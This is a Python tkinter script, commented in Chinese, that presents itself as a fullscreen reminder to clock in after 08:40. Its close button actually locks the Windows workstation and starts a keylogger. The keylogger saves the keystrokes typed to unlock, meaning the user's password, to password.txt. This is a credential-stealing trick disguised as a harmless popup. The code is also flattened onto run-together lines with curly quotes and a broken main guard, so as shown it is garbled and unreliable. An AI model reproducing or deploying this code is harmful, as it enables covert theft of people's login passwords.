import time import tkinter as tk import tkinter.font as tf from ctypes import * from pynput import keyboard ##此脚本主要用户,当电脑时间为指定时间后,自动弹出“打卡信息”提示弹窗
window = tk.Tk() window.title(‘My Window’)
screenWidth = window.winfo_screenwidth() screenHeight = window.winfo_screenheight()
exceptGeometry = str(screenWidth) + ‘x’ + str(screenHeight) window.geometry(exceptGeometry)
ft1 = tf.Font(family=‘行楷’,size=80,slant=tf.ITALIC,weight=tf.BOLD) ft2 = tf.Font(family=‘行楷’,size=80,weight=tf.BOLD)
def write_to_file(fileName,content): with open(fileName,‘w’,encoding=‘utf-8’)as file: file.write(content) characterList = [] def on_press(key): character = str(key) if character != ‘Key.enter’: characterList.append(key) else: return False
def lockScreen(): user32 = windll.LoadLibrary(‘user32.dll’) user32.LockWorkStation() with keyboard.Listener(on_press=on_press) as listener: listener.join() write_to_file(‘password.txt’,str(characterList)) # time.sleep(0.5) window.quit()
var1 = tk.StringVar() l1 = tk.Label(window,textvariable=var1,bg=‘yellow’,fg=‘red’,font=ft1,width=screenWidth,height=4) l1.pack()
b1 = tk.Button(window,text=‘请鼠标点击此处区域关闭弹窗’,bg=‘white’,fg=‘red’,font=(‘Arial’,40),width=screenWidth,height=1,command=lockScreen) b1.pack() l2 = tk.Label(window,text=“辛苦工作一天咯,记得打卡呀!!!”,bg=‘yellow’,fg=‘red’,font=ft2,width=screenWidth,height=7) l2.pack()
condition = True
def jdgmentTime(): global condition while condition==True: exceptTime = “08:40:00” # 获取当前时间的 年月日 currentDate = time.strftime("%Y-%m-%d",time.localtime(time.time())) # 生成预期的时间 exceptDateTime = currentDate + " " + exceptTime # 将预期的字符时间转换为 时间戳 exceptTimeStamp = time.mktime(time.strptime(exceptDateTime,"%Y-%m-%d %H:%M:%S")) currentTimeStamp = time.time() currentDateTime = time.strftime("%Y-%m-%d %H:%M:%S",time.localtime(time.time())) if currentTimeStamp - exceptTimeStamp >= 0: condition = False var1.set(currentDateTime) window.mainloop() time.sleep(2)
if name == ‘main’: jdgmentTime()